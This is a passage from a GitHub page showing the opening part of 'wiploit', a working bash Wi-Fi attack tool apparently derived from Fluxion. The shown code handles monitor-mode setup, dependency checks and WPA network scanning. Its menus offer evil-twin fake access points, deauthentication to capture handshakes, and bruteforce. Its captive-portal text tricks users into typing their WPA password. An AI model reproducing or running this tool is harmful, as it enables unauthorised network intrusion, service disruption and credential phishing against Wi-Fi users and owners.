-
Notifications
You must be signed in to change notification settings - Fork 22
/
wiploit
executable file
·5617 lines (5201 loc) · 314 KB
/
wiploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
########## DEBUG Mode ##########
if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0
else FLUX_DEBUG=1
fi
################################
####### preserve network #######
if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0
else KEEP_NETWORK=1
fi
################################
###### AUTO CONFIG SETUP #######
if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0
else FLUX_AUTO=1
fi
################################
##### ROOT PERMISSION #####
if [[ $EUID -ne 0 ]]; then
echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m"""
exit 1
fi
clear
##### CONFIGURATION PATH #####
USER=$(whoami)
DUMP_PATH="/tmp/TMPflux"
HANDSHAKE_PATH="/root/handshakes"
PASSLOG_PATH="/root/pwlog"
WORK_DIR='pwd'
MANA_DIR=$(pwd)/hostapd-mana/hostapd
DEAUTHTIME="99999999999"
version=2.0.0
IP=192.168.1.1
RANG_IP=$(echo $IP | cut -d "." -f 1,2,3)
##### Colors #####
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Purple="\033[0;35m"
Cyan="\033[0;36m"
Cafe="\033[0;33m"
Fiuscha="\033[0;35m"
blue="\033[1;34m"
transparent="\e[0m"
######### SHORTCUT KEYWORDS #########
general_back="Back"
general_error_1="Not_Found"
general_case_error="Unkown option. Choose again"
general_exitmode="Cleaning and closing"
general_exitmode_1="Disabling monitoring interface"
general_exitmode_2="Disabling interface"
general_exitmode_3="Disabling "$grey"forwarding of packets"
general_exitmode_4="Cleaning "$grey"iptables"
general_exitmode_5="Restoring "$grey"tput"
general_exitmode_6="Restarting "$grey"Network-Manager"
general_exitmode_7="Cleanup performed successfully!"
general_exitmode_8="Thanks for using Wi-Ploit"
# DEBUG MODE = 0; DEBUG MODE = 1 [Normal Mode / Developer Mode]
if [ $FLUX_DEBUG = 1 ]; then
## Developer Mode
export flux_output_device=/dev/stdout
HOLD="-hold"
else
## Normal Mode
export flux_output_device=/dev/null
HOLD=""
fi
# Delete Log only in Normal Mode !
function conditional_clear {
if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi
}
function airmon {
chmod +x airmon
}
airmon
#@Animation
function spinner {
local pid=$1
local delay=0.15
local spinstr='|/-\'
while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do
local temp=${spinstr#?}
printf " [%c] " "$spinstr"
local spinstr=$temp${spinstr%"$temp"}
sleep $delay
printf "\b\b\b\b\b\b"
done
printf " \b\b\b\b"
}
function loading {
echo -ne ${blue}'█████████████'
sleep 0.15
echo -ne ${blue}'██████████████████████'
sleep 0.15
echo -ne ${blue}'███████████████████████████████'
sleep 1
echo -ne ${blue}'OK!'
sleep 0.15
echo -ne '\n'
}
#@Error Report only in Developer Mode
function err_report {
echo "Error on line $1"
}
if [ $FLUX_DEBUG = 1 ]; then
trap 'err_report $LINENUM' ERR
fi
#@Function to executed in case of unexpected termination
trap exitmode SIGINT SIGHUP
#@KILL ALL
function exitmode {
if [ $FLUX_DEBUG != 1 ]; then
conditional_clear
top
echo -e "\n\n"$white"["$red"-"$white"] "$red"$general_exitmode"$transparent""
if ps -A | grep -q aireplay-ng; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent""
killall aireplay-ng &>$flux_output_device
fi
if ps -A | grep -q airodump-ng; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent""
killall airodump-ng &>$flux_output_device
fi
if ps a | grep python| grep fakedns; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent""
kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device
fi
if ps -A | grep -q hostapd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent""
killall hostapd &>$flux_output_device
fi
if ps -A | grep -q lighttpd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent""
killall lighttpd &>$flux_output_device
fi
if ps -A | grep -q dhcpd; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent""
killall dhcpd &>$flux_output_device
fi
if ps -A | grep -q mdk3; then
echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent""
killall mdk3 &>$flux_output_device
fi
if [ "$WIFI_MONITOR" != "" ]; then
echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_1 "$green"$WIFI_MONITOR"$transparent""
./airmon stop $WIFI_MONITOR &> $flux_output_device
fi
if [ "$WIFI" != "" ]; then
echo -e ""$weis"["$rot"-"$weis"] "$weis"$general_exitmode_2 "$green"$WIFI"$transparent""
./airmon stop $WIFI &> $flux_output_device
./airmon stop $WIFI_MONITOR1 &> $flux_output_device
./airmon stop $WIFI_MONITOR2 &> $flux_output_device
./airmon stop $WIFI_MONITOR3 &> $flux_output_device
./airmon stop $WIFI_MONITOR4 &> $flux_output_device
./airmon stop $WIFI_MONITOR5 &> $flux_output_device
macchanger -p $WIFI &> $flux_output_device
fi
if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_3"$transparent""
sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device
fi
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_4"$transparent""
if [ ! -f $DUMP_PATH/iptables-rules ];then
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
else
iptables-restore < $DUMP_PATH/iptables-rules
fi
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_5"$transparent""
tput cnorm
if [ $FLUX_DEBUG != 1 ]; then
echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent""
rm -R $DUMP_PATH/* &>$flux_output_device
fi
if [ $KEEP_NETWORK = 0 ]; then
echo -e ""$white"["$red"-"$white"] "$white"$general_exitmode_6"$transparent""
# systemctl check
systemd=`whereis systemctl`
if [ "$systemd" = "" ];then
service network-manager restart &> $flux_output_device &
service networkmanager restart &> $flux_output_device &
service networking restart &> $flux_output_device &
else
systemctl restart NetworkManager &> $flux_output_device &
fi
echo -e ""$white"["$green"+"$white"] "$green"$general_exitmode_7"$transparent""
echo -e ""$white"["$green"+"$white"] "$grey"$general_exitmode_8"$transparent""
sleep 2
clear
fi
fi
exit
}
#@Languages for the web interface
#@EN
DIALOG_WEB_INFO_ENGz="For security reasons, enter the WPA key to access the Internet."
DIALOG_WEB_INPUT_ENGz="Enter your WPA password:"
DIALOG_WEB_SUBMIT_ENGz="Submit"
DIALOG_WEB_ERROR_ENGz="Error: The entered password is not correct!"
DIALOG_WEB_OK_ENGz="Your connection will be restored in a few moments."
DIALOG_WEB_BACK_ENGz="Back"
DIALOG_WEB_ERROR_MSG_ENGz="This field is required."
DIALOG_WEB_LENGTH_MIN_ENGz="The password must be more than {0} characters!"
DIALOG_WEB_LENGTH_MAX_ENGz="The password must be less than {0} characters!"
DIALOG_WEB_DIR_ENGz="ltr"
DIALOG_WEB_TITLE_LOGIN_ENG="Wifi Login"
DIALOG_WEB_TITLE_CONNECTED_ENG="Connected!"
DIALOG_WEB_ERROR_PASSWORD_ENG="Incorrect Password!"
DIALOG_WEB_PLACEHOLDER_PASS_ENG="Password"
DIALOG_WEB_SHOWPASSWORD_ENG="Show Password"
DIALOG_WEB_CONNECT_ENG="CONNECT"
DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments."
DIALOG_WEB_ERROR_MSG_ENG="This field is required."
DIALOG_WEB_LENGTH_MIN_ENG="The password must be more than {0} characters!"
DIALOG_WEB_LENGTH_MAX_ENG="The password must be less than {0} characters!"
#@Design
function top(){
conditional_clear
echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
echo -e "$red[ ]"
echo -e "$red[ $red Wi-Ploit v$version" "${yellow} ${red} " ${blue}" by" ${yellow}"L3r" ${red}" ]"
echo -e "$blue[ ]"
echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
echo
echo
}
#@End of Configuration
#@Start
#@Check Requirements
function checkdependences {
echo -ne "aircrack-ng....."
if ! hash aircrack-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "aireplay-ng....."
if ! hash aireplay-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "airmon-ng......."
if ! hash airmon-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "airodump-ng....."
if ! hash airodump-ng 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "awk............."
if ! hash awk 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
#echo -ne "bully..........."
#if ! hash bully 2>/dev/null; then
# echo -e "\e[1;31mNot installed"$transparent""
# exit=1
#else
# echo -e "\e[1;32mOK!"$transparent""
#fi
#sleep 0.025
echo -ne "curl............"
if ! hash curl 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "dhcpd..........."
if ! hash dhcpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "hostapd........."
if ! hash hostapd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "hostapd-mana...."
if [ ! -d "./hostapd-mana" ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "iwconfig........"
if ! hash iwconfig 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "lighttpd........"
if ! hash lighttpd 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "macchanger......"
if ! hash macchanger 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "mdk3............"
if ! hash mdk3 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "nmap............"
if ! [ -f /usr/bin/nmap ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "php-cgi........."
if ! [ -f /usr/bin/php-cgi ]; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
# fi
# sleep 0.025
# echo -ne "pyrit..........."
# if ! hash pyrit 2>/dev/null; then
# echo -e "\e[1;31mNot installed"$transparent""
# exit=1
# else
# echo -e "\e[1;32mOK!"$transparent""
# fi
# sleep 0.025
# echo -ne "python.........."
# if ! hash python 2>/dev/null; then
# echo -e "\e[1;31mNot installed"$transparent""
# exit=1
# else
# echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "reaver.........."
if ! hash reaver 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "unzip..........."
if ! hash unzip 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "xterm..........."
if ! hash xterm 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "openssl........."
if ! hash openssl 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "rfkill.........."
if ! hash rfkill 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "strings........."
if ! hash strings 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (binutils)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo -ne "fuser..........."
if ! hash fuser 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent" (psmisc)"
exit=1
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
if [ "$exit" = "1" ]; then
exit 1
fi
sleep 1
clear
}
top
checkdependences
#@Create directories
if [ ! -d $DUMP_PATH ]; then
mkdir -p $DUMP_PATH &>$flux_output_device
fi
#Handshake Directory
if [ ! -d $HANDSHAKE_PATH ]; then
mkdir -p $HANDSHAKE_PATH &>$flux_output_device
fi
#Password Directory
if [ ! -d $PASSLOG_PATH ]; then
mkdir -p $PASSLOG_PATH &>$flux_output_device
fi
#@Design2
if [ $FLUX_DEBUG != 1 ]; then
clear; echo ""
sleep 0.1 && echo -e "$red"
sleep 0.1 && echo -e " ██╗ ██╗██╗ ██████╗ ██╗ ██████╗ ██╗████████╗ "
sleep 0.1 && echo -e " ██║ ██║██║ ██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝ "
sleep 0.1 && echo -e " ██║ █╗ ██║██║█████╗██████╔╝██║ ██║ ██║██║ ██║ "
sleep 0.1 && echo -e " ██║███╗██║██║╚════╝██╔═══╝ ██║ ██║ ██║██║ ██║ "
sleep 0.1 && echo -e " ╚███╔███╔╝██║ ██║ ███████╗╚██████╔╝██║ ██║ "
sleep 0.1 && echo -e " ╚══╝╚══╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ "
echo""
sleep 0.1
echo -e $red" "$white""$version" "$yellow"by "$blue"L3r"
sleep 0.1
echo -e $green " Page:"$red" https://github.com/Johnler/Wi-Ploit "$transparent
sleep 0.1
tput civis &
loading
tput cnorm
sleep 3
fi
#@Access Point Info
function infoap {
Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]`
Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-`
echo "INFO WIFI"
echo
echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC"
echo -e " "$blue"Channel"$transparent" = $channel"
echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps"
echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL $transparent)"
echo
}
#@Windows + Resolution
function setresolution {
function resA {
TOPLEFT="-geometry 90x13+0+0"
TOPRIGHT="-geometry 83x26-0+0"
BOTTOMLEFT="-geometry 90x24+0-0"
BOTTOMRIGHT="-geometry 75x12-0-0"
TOPLEFTBIG="-geometry 91x42+0+0"
TOPRIGHTBIG="-geometry 83x26-0+0"
}
function resB {
TOPLEFT="-geometry 92x14+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 92x36+0-0"
BOTTOMRIGHT="-geometry 74x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 74x30-0+0"
}
function resC {
TOPLEFT="-geometry 100x20+0+0"
TOPRIGHT="-geometry 109x20-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 109x20-0-0"
TOPLEFTBIG="-geometry 100x52+0+0"
TOPRIGHTBIG="-geometry 109x30-0+0"
}
function resD {
TOPLEFT="-geometry 110x35+0+0"
TOPRIGHT="-geometry 99x40-0+0"
BOTTOMLEFT="-geometry 110x35+0-0"
BOTTOMRIGHT="-geometry 99x30-0-0"
TOPLEFTBIG="-geometry 110x72+0+0"
TOPRIGHTBIG="-geometry 99x40-0+0"
}
function resE {
TOPLEFT="-geometry 130x43+0+0"
TOPRIGHT="-geometry 68x25-0+0"
BOTTOMLEFT="-geometry 130x40+0-0"
BOTTOMRIGHT="-geometry 132x35-0-0"
TOPLEFTBIG="-geometry 130x85+0+0"
TOPRIGHTBIG="-geometry 132x48-0+0"
}
function resF {
TOPLEFT="-geometry 100x17+0+0"
TOPRIGHT="-geometry 90x27-0+0"
BOTTOMLEFT="-geometry 100x30+0-0"
BOTTOMRIGHT="-geometry 90x20-0-0"
TOPLEFTBIG="-geometry 100x70+0+0"
TOPRIGHTBIG="-geometry 90x27-0+0"
}
detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3)
## A) 1024x600
## B) 1024x768
## C) 1280x768
## D) 1280x1024
## E) 1600x1200
case $detectedresolution in
"1024x600" ) resA ;;
"1024x768" ) resB ;;
"1280x768" ) resC ;;
"1366x768" ) resC ;;
"1280x1024" ) resD ;;
"1600x1200" ) resE ;;
"1366x768" ) resF ;;
* ) resA ;;
esac
english; setinterface;
}
function english {
header_setinterface="Select an interface"
setinterface_error="There are no wireless cards, quit..."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_choosescan="Select channel"
choosescan_option_1="All channels "
choosescan_option_2="Specific channel(s)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
scanchan_option_1="Single channel"
scanchan_option_2="Multiple channels"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_scan="WIFI Monitor"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_scanchan="Scanning Target"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_askAP="Select Attack Option"
askAP_option_1="FakeAP - Hostapd "$yellow"(Recommended)"
askAP_option_2="FakeAP - Hostapd-mana "$red"(EVIL)"
askAP_option_3="FakeAP - airbase-ng (Slower connection)"
askAP_option_4="Bruteforce - (Handshake is required)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_askauth="METHOD TO VERIFY THE PASSWORD"
askauth_option_1="Handshake ("$red"Recommended)"
askauth_option_2="Wpa_supplicant(More failures)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_deauthforce="Handshake check"
deauthforce_option_1="aircrack-ng (Miss chance)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_deauthMENU="*Capture Handshake*"
deauthMENU_option_1="Check handshake"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
header_webinterface="Select your option"
header_ConnectionRESET="Select Login Page"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
general_back="Back"
general_error_1="Not_Found"
general_case_error="Unknown option. Choose again"
general_exitmode="Cleaning and closing"
general_exitmode_1="Disabling monitoring interface"
general_exitmode_2="Disabling interface"
general_exitmode_3="Disabling "$grey"forwarding of packets"
general_exitmode_4="Cleaning "$grey"iptables"
general_exitmode_5="Restoring "$grey"tput"
general_exitmode_6="Restarting "$grey"Network-Manager"
general_exitmode_7="Cleanup performed successfully!"
general_exitmode_8="Thanks for using Wi-Ploit"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
selection_1="Active clients"
selection_2="Select target. For rescan type$red r$transparent"
}
#@Choose Interface
function setinterface {
conditional_clear
top
#unblock interface
rfkill unblock all
#Collect all interfaces in monitor mode & stop all
KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'`
for monkill in ${KILLMONITOR[@]}; do
airmon-ng stop $monkill >$flux_output_device
echo -n "$monkill, "
done
#Create a variable with the list of physical network interfaces
readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1)
INTERFACESNUMBER=`./airmon| grep -c "-"`
if [ "$INTERFACESNUMBER" -gt "0" ]; then
if [ "$INTERFACESNUMBER" -eq "1" ]; then
PREWIFI=$(echo ${wirelessifaces[0]} | awk '{print $1}')
else
echo $header_setinterface
echo
i=0
for line in "${wirelessifaces[@]}"; do
i=$(($i+1))
wirelessifaces[$i]=$line
echo -e " "$red"["$yellow"$i"$red"]"$transparent" $line"
done
if [ "$FLUX_AUTO" = "1" ];then
line="1"
else
echo
echo -n -e ""$red"["$blue$USER$yellow"@"$white"wiploit"$red"]-["$yellow"~"$red"]"$transparent""
read line
fi
PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}')
fi
if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then
conditional_clear
top
setinterface
fi
readarray -t naggysoftware < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }')
WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}')
if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then
rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1
fi
if [ $KEEP_NETWORK = 0 ]; then
for nagger in "${naggysoftware[@]}"; do
killall "$nagger" &>$flux_output_device
done
sleep 0.5
fi
if [ ! "$(echo $WIFIDRIVER | egrep 'rt2800|rt73')" ]; then
modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1
sleep 0.5
fi
# Select Wifi Interface
select PREWIFI in $INTERFACES; do
break;
done
WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1)
WIFI_MONITOR=$WIFIMONITOR
WIFI=$PREWIFI
#No wireless cards
else
echo $setinterface_error
sleep 5
exitmode
fi
deltax
}
function skipme {
FLUX_DEBUG=1
Host_SSID="DEV"
Host_ENC="WPA 2"
channel="12"
speed="54"
Host_MAC="XX:a5:89:ad:e9:XX"
mac="$Host_MAC"
Host_MAC_MODEL="XX:a5:89:ad:e9:XX"
askAP
}
# Check files
function deltax {
conditional_clear
CSVDB=dump-01.csv
rm -rf $DUMP_PATH/*
choosescan
selection
}
# Select channel
function choosescan {
if [ "$FLUX_AUTO" = "1" ];then
Scan
else
conditional_clear
while true; do
conditional_clear
top
echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_choosescan"
echo " "
echo -e " "$red"["$yellow"1"$red"]"$transparent" $choosescan_option_1 "
echo -e " "$red"["$yellow"2"$red"]"$transparent" $choosescan_option_2 "
echo -e " "$red"["$yellow"3"$red"]"$red" $general_back " $transparent
echo " "
echo -n -e ""$red"["$blue$USER$yellow"@"$white"wiploit"$red"]-["$yellow"~"$red"]"$transparent""
read yn
echo ""
case $yn in
1 ) Scan ; break ;;
2 ) Scanchan ; break ;;
3 ) setinterface; break;;
* ) echo "Unknown option. Please choose again"; conditional_clear ;;
esac
done
fi
}
# Choose your channel if you choose option 2 before
function Scanchan {
conditional_clear
top
echo " "
echo -e ""$red"["$yellow"i"$red"]"$transparent" $header_choosescan "
echo " "
echo -e " $scanchan_option_1 "$blue"6"$transparent" "
echo -e " $scanchan_option_2 "$blue"1-5"$transparent" "
echo -e " $scanchan_option_2 "$blue"1,2,5-7,11"$transparent" "
echo " "
echo -n -e ""$red"["$blue$USER$yellow"@"$white"wiploit"$red"]-["$yellow"~"$red"]"$transparent""
read channel_number
set -- ${channel_number}
conditional_clear
rm -rf $DUMP_PATH/dump*
xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one
}
# Scans the entire network
function Scan {
conditional_clear
rm -rf $DUMP_PATH/dump*
if [ "$FLUX_AUTO" = "1" ];then
sleep 30 && killall xterm &
fi
xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one
}
# Choose a network
function selection {
conditional_clear
top
LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'`
if [ "$LINEAS_WIFIS_CSV" = "" ];then
conditional_clear
top
echo -e ""$red"["$yellow"i"$red"]"$transparent" Error: your wireless card isn't supported "
